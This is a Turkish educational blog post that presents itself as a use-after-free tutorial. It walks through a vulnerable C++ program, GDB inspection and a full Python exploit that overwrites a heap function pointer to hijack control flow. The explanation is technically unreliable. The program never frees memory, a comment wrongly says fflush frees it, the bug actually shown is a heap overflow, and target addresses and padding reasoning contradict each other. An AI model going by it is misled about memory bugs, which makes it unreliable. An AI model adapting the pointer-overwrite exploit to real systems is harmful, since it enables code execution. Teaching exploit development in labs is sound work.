|

Uzmanı Çırak Yapan Zafiyetler - 1 : Use-After-Free Zafiyeti



alicangonullu tarafından 2025-08-25 09:43:58 tarihinde yazıldı. Tahmini okunma süresi 9 dakika, 55 saniye. 61 kere görüntülendi.




Disclaimer


The information provided in this blog post is intended for educational and informational purposes only. It is not intended to encourage or promote any illegal or unethical activities, including hacking, cyberattacks, or any form of unauthorized access to computer systems, networks, or data.

Yasal Uyarı
Bu blog yazısında sağlanan bilgiler yalnızca eğitim ve bilgilendirme amaçlıdır. Bilgisayar korsanlığı, siber saldırılar veya bilgisayar sistemlerine, ağlara veya verilere herhangi bir şekilde yetkisiz erişim de dahil olmak üzere herhangi bir yasa dışı veya etik olmayan faaliyeti teşvik etme veya reklamlama amacı taşımaz.
Yasal bilgiler için yasal sayfasını inceleyebilirsiniz .

Merhabalar,

Yeni bir seri başlatıyorum. Bu seride ciddi anlamda uzmanları dahi zorlayan zafiyetleri konu aldığım için "Uzmanı Çırak Yapan Zafiyetler" adını verdim. Amacım hiçbir uzmanı kötülemek değil bilakis zafiyetin zorluğunu irdelemektir.

Bellek zafiyetleri konusundan devam ediyoruz. Bugün sizlere "Use-after-free" zafiyetinin nasıl oluştuğunu anlatacağım. Konu fazlasıyla teknik olduğu için temeli olan kullanıcıların okumasını tavsiye ederim. Şimdiden keyifli okumalar dilerim.

Disclaimer / Yasal Uyarı

The information provided in this blog post is intended for educational and informational purposes only. It is not intended to encourage or promote any illegal or unethical activities, including hacking, cyberattacks, or any form of unauthorized access to computer systems, networks, or data.

Bu blog yazısında sağlanan bilgiler yalnızca eğitim ve bilgilendirme amaçlıdır. Bilgisayar korsanlığı, siber saldırılar veya bilgisayar sistemlerine, ağlara veya verilere herhangi bir şekilde yetkisiz erişim de dahil olmak üzere herhangi bir yasa dışı veya etik olmayan faaliyeti teşvik etme veya reklamlama amacı taşımaz.

Use-After-Free Zafiyeti Nedir ?

Makale içeriği

Use-After-Free (UAF), Türkçesiyle "Serbest Bırakıldıktan Sonra Kullanım", bir programın dinamik olarak ayırdığı bir bellek bölgesini sisteme iade ettikten (serbest bıraktıktan) sonra, artık geçersiz olan bu bellek adresine tekrar erişmeye veya kullanmaya çalışmasıyla ortaya çıkan kritik bir bellek yönetimi güvenlik açığıdır.

Bu erişim, genellikle artık o adresi işaret etmemesi gereken "sarkan bir işaretçi" (dangling pointer) üzerinden yapılır. Saldırganlar bu durumu, serbest bırakılan bellek alanına kendi kötü amaçlı kodlarının adresini yazarak ve programın daha sonra bu geçersiz işaretçiyi takip edip o adresi çalıştırmasını sağlayarak istismar edebilirler.

Başarılı bir istismar, programın çökmesine, hassas verilerin sızdırılmasına veya sistemin kontrolünün tamamen ele geçirilmesine yol açabilir.

Örnek Kod İncelemesi

Şimdi adım adım örnek bir kod yazalım ve zafiyeti istismar edelim. Öncelikle zafiyetli programımızı yazalım

#include <cstdio>
#include <cstdlib>

// Exploit için enjekte edilecek fonksiyon
void basariMesaji() {
    printf(">>> KONTROL ELE GECIRILDI! Zafiyet basariyla istismar edildi.\n");
}

// Zafiyeti barındıran veri yapısı (struct).
typedef struct {
    char kullaniciVerisi[100]; // Dışarıdan veri almak için kullanılacak 100 byte'lık bir buffer alanı.
    void (*islemYapPtr)(); // Programın akışını değiştirmek için üzerine yazılacak olan fonksiyon işaretçisi.
} Session;

// Programın başlangıç noktası.
int main() {
    // Ekrana (standart hata akışına) programın başladığını belirten bir mesaj yazdırır.
    fprintf(stderr, "[KURBAN] Program baslatildi.\n");
    Session* ses = (Session*)malloc(sizeof(Session)); // 'Session' yapısı için heap alanında yer ayırır.
    fflush(stdout);  // Alanı serbest bırakır
    fread(ses->kullaniciVerisi, 1, 108, stdin); // kullaniciVerisi değerini islemYapPtr üzerine yazar
    if (ses && ses->islemYapPtr) {
        // Exploit başarılıysa, bu komut 'basariMesaji' fonksiyonunu çalıştırır.
        ses->islemYapPtr();
    }
    return 0;
}

Burada "islemYapPtr" değeri oluşturduktan sonra ilgili değerin üzerine "kullaniciVerisi" değeri yazılır. Aslında zafiyetin temel mantığı da burada anlaşılabilir. Amaç, bellekten silinen kodun yerine yeni bir değerin yazılmasıyla farklı bir fonksiyonun çağırılmasıdır.

Halen anlamadıysanız daha basit bir koda da bakabilirsiniz. Ayrıca bu kodla diğer kod için PADDING_SIZE'da hesaplayabilirsiniz. Bu kodu derlemek için "-no-pie" tag'i kullanmanıza gerek yoktur.

#include <cstdio>
#include <cstddef>

typedef struct {
    char kullaniciVerisi[100];
    void (*islemYapPtr)();
} Session;

int main() {
    printf("Boyut (sizeof(Session)): %zu byte\n", sizeof(Session));
    printf("islemYapPtr'nin baslangic konumu (offsetof): %zu byte\n", offsetof(Session, islemYapPtr));
    return 0;
}
Makale içeriği
PADDING SIZE hesaplama (104 bayt)

Artık kodu derleyebiliriz. Kodu derlemek için "-no-pie" kullanmalıyız. Bu tag'i kullanma nedenimiz "Position-Independent Executable"özelliğini kapatmamız gerekiyor. Böylece ASLR özelliğini devre dışı bırakarak tahmin edilebilir alanlara değerin yazılmasını sağlıyoruz.

"-g" kullanma sebebimiz ise ilerleyen aşamalarda zafiyeti incelemek için GDB adlı program ile debugging yapacağımız için debug sırasında değişkenlerin görünmesidir.

g++ -o zafiyetli_sunucu zafiyetli_sunucu.cpp -no-pie -g
Makale içeriği
no-pie Kullanılmazsa
Makale içeriği
no-pie Kullanılırsa

Dostlar buraya kadar anlaşılması çok önemlidir. Anlamadıysanız yeniden kodları okuyun. Bu kodu anlamadan devamını anlayamazsınız. Bu noktadan sonra artık zafiyetin sömürülme aşamasına başlıyoruz.

Exploit Geliştirme Aşaması

Öncelikle "basariMesaji" fonksiyonunun bellek konumunu statik olarak bulmamız gerekiyor. Bunun için aşağıdaki komutu kullanacağız,

objdump -t ./zafiyetli_sunucu | grep basariMesaji

Aşağıdaki komutu çalıştırdıktan sonra gelen çıktıyı beraber inceleyelim

Makale içeriği
Bellek Adresi Tespiti

Çıktıya baktığımızda ilgili değişkenin ".text" alanında "0x401166" bellek adresinde depolandığını statik olarak tespit ediyoruz. Yani bu değer bir noktada boş oluyor ve boş olduğu halde yeniden kontrol ediliyor.

Şimdi ilgili zafiyetli değişkenin padding size'ını tespit etmeliyiz ki o kadar uzunlukta bir veriyle dolduralım. Bunun için sizler kolay yoldan bu kodla çözebilirsiniz. "offsetof" değerini esas alabilirsiniz. Ben uzun ve teknik yolunu anlatacağım.

#include <cstdio>
#include <cstddef>

typedef struct {
    char kullaniciVerisi[100];
    void (*islemYapPtr)();
} Session;

int main() {
    printf("Boyut (sizeof(Session)): %zu byte\n", sizeof(Session));
    printf("islemYapPtr'nin baslangic konumu (offsetof): %zu byte\n", offsetof(Session, islemYapPtr));
    return 0;
}

Şimdi GDB ile incelemeye başlıyoruz. Bunun için "gdb zafiyetli_sunucu" komutunu kullanıyorum.

Makale içeriği

Ardından "list main" komutuyla kodlarımızı görüntülüyoruz

Makale içeriği
GDB ile Kodların Görüntülenmesi

Kodları görüntüledikten sonra daha önce hesapladığımız heap alanı için bir payload oluşturmamız gerekiyor. Bu aşamada şöyle bir Python scripti ile değeri oluşturabiliriz.

import struct
PADDING_SIZE = 100 # Geçici değer
TARGET_ADDRESS = 0x401176 # Hesaplanan Heap Değeri
payload = b'A' * PADDING_SIZE + struct.pack("<Q", TARGET_ADDRESS)
with open("payload.bin", "wb") as f: f.write(payload)
print("'payload.bin' oluşturuldu.")

Ardından GDB'ye geri dönüyoruz ve "break 22" yazıyoruz. Böylece 22'nci satırda kod duracaktır.

 

Makale içeriği
Breakpoint Ataması

PADDING_SIZE değerini yavaş yavaş arttırıyoruz ve GDB üzerinden "run < payload.bin" komutuyla denemeye başlıyoruz.

 

Makale içeriği
Enjeksiyon Denemesi - 1

Bu aşamada if döngüsünü geçmek üzere olduğumuzu görüyoruz. Şimdi değerlerimiz oluşmuş mu diye bakmak için öncelikle değerin yerini bulmak için "print ses" komutunu çalıştırıyoruz. Burada çıkan değeri bir yere not alıyoruz.

 

Makale içeriği
Değişken Yerini Bulma

Şimdi en önemli aşamadayız "x/16gx DEGER" şeklinde komutu çalıştırıyoruz. Bu komutun manası ise "belleği incele (x), 16 birimlik değer göster (/16), giant word formatında göster (her biri 8 bit, g) ve hex olarak göster (x)" diyoruz.

Makale içeriği
Zafiyetin Tespiti

BINGO! Zafiyeti başarıyla tespit etmiş bulunuyoruz. Artık hesaplamaya geçiyoruz. Bu değerlere göre başlangıç değişkenimiz 0x4052a0 oluyor. 0x405300 satırına dikkatli bakarsanız 0x00401176 değerini görebilirsiniz. Bu değeri incelediğimizde,

 

 

Yani aslında 0x405304 (büyük değer) değeri 0x4052a0 değerlerini birbirinden çıkarttığımızda ise 0x000064 hex değerini elde ediyoruz. Hesapladığımızda, 6*16+4*1=100 olmaktadır yani islemYapPtr fonksiyon işaretçisinin, kullaniciVerisi buffer alanının başlangıcından tam 100 byte sonra başladığını kanıtlar. Ancak 100, 8'i tam bölmediği için bir sonraki en yakın değer olan 104 bizim PADDING_SIZE değerimiz olmalıdır.

Şimdi tüm bu bilgilerle sömürü kodumuzu yazmaya başlıyoruz. Ben sömürü kodu için Python dilini kullanıyorum. Sizler farklı dillerde yazabilirsiniz.

Statik değişkenlerimizi belirleyelim,

# Zafiyetli programın adı
VICTIM_PROGRAM = "./zafiyetli_sunucu"

# objdump ile bulduğumuz statik adres.
HARDCODED_ADDRESS = 0x401166
# Padding boyutumuz
PADDING_SIZE = 104

Ardından programı başlatan kodu yazıyoruz.

 try:
        p = subprocess.Popen([VICTIM_PROGRAM], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    except FileNotFoundError:
        print(f"[!] HATA: '{VICTIM_PROGRAM}' bulunamadi. C++ kodunu -no-pie ile derlediniz mi?")
        sys.exit(1)

Şimdi payloadlarımızı hazırlayan aşamayı yazıyoruz.

padding = b'A' * PADDING_SIZE
overwrite_address = struct.pack("<Q", HARDCODED_ADDRESS)
payload = padding + overwrite_address
print(f"[*] Payload {len(payload)} byte olarak olusturuldu.")
print("[*] Payload kurban programa gonderiliyor...")

Ardından enjekte ettiğimiz fonksiyonun çıktılarını kontrol ettiğimiz aşamayı yazıyoruz.

 stdout_output_bytes, stderr_output_bytes = p.communicate(input=payload)
    
    stdout_output = stdout_output_bytes.decode('utf-8', errors='ignore')
    stderr_output = stderr_output_bytes.decode('utf-8', errors='ignore')

    print("\n--- Kurban Programdan Gelen Cikti ---")
    print(stdout_output)
    print("--- Kurbandan Gelen Hata Ciktisi (varsa) ---")
    print(stderr_output)
    print("--- Exploit Tamamlandi ---")
    
    if "KONTROL ELE GECIRILDI" in stdout_output:
        print("\n[+] Zafiyet basariyla istismar edildi!")
    else:
        print("\n[-] Istismar basarisiz oldu.")

Ve sömürü kodumuzu çalıştırdığımızda başarıyla fonksiyonu enjekte ettiğimizi görüyoruz.

Makale içeriği
Sömürünün Başarılı Olması

Sömürü Kodunun Tam Hali

import struct
import subprocess
import sys

# Zafiyetli programın adı
VICTIM_PROGRAM = "./zafiyetli_sunucu"

# 1. Adım'da objdump ile bulduğumuz ve HİÇ DEĞİŞMEYECEK olan statik adres.
# Siz de kendi sisteminizde bulduğunuz adresi buraya yazmalısınız!
HARDCODED_ADDRESS = 0x401166

PADDING_SIZE = 104

def main():
    print("--- [SALDIRGAN] Python Exploit (Statik Adres ile) Baslatildi ---")
    
    try:
        p = subprocess.Popen([VICTIM_PROGRAM], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    except FileNotFoundError:
        print(f"[!] HATA: '{VICTIM_PROGRAM}' bulunamadi. C++ kodunu -no-pie ile derlediniz mi?")
        sys.exit(1)
        
    print(f"[*] Hedef adres statik olarak biliniyor: {hex(HARDCODED_ADDRESS)}")
    
    # Payload'ı SABİT adres ile oluştur
    padding = b'A' * PADDING_SIZE
    overwrite_address = struct.pack("<Q", HARDCODED_ADDRESS)
    payload = padding + overwrite_address
    
    print(f"[*] Payload {len(payload)} byte olarak olusturuldu.")
    print("[*] Payload kurban programa gonderiliyor...")
    
    stdout_output_bytes, stderr_output_bytes = p.communicate(input=payload)
    
    stdout_output = stdout_output_bytes.decode('utf-8', errors='ignore')
    stderr_output = stderr_output_bytes.decode('utf-8', errors='ignore')

    print("\n--- Kurban Programdan Gelen Cikti ---")
    print(stdout_output)
    print("--- Kurbandan Gelen Hata Ciktisi (varsa) ---")
    print(stderr_output)
    print("--- Exploit Tamamlandi ---")
    
    if "KONTROL ELE GECIRILDI" in stdout_output:
        print("\n[+] Zafiyet basariyla istismar edildi!")
    else:
        print("\n[-] Istismar basarisiz oldu.")

if __name__ == "__main__":
    main()

Okuduğunuz için teşekkür ederim!

Eğer konuyu beğendiyseniz yorum ve beğenilerinizi eksik etmeyiniz lütfen.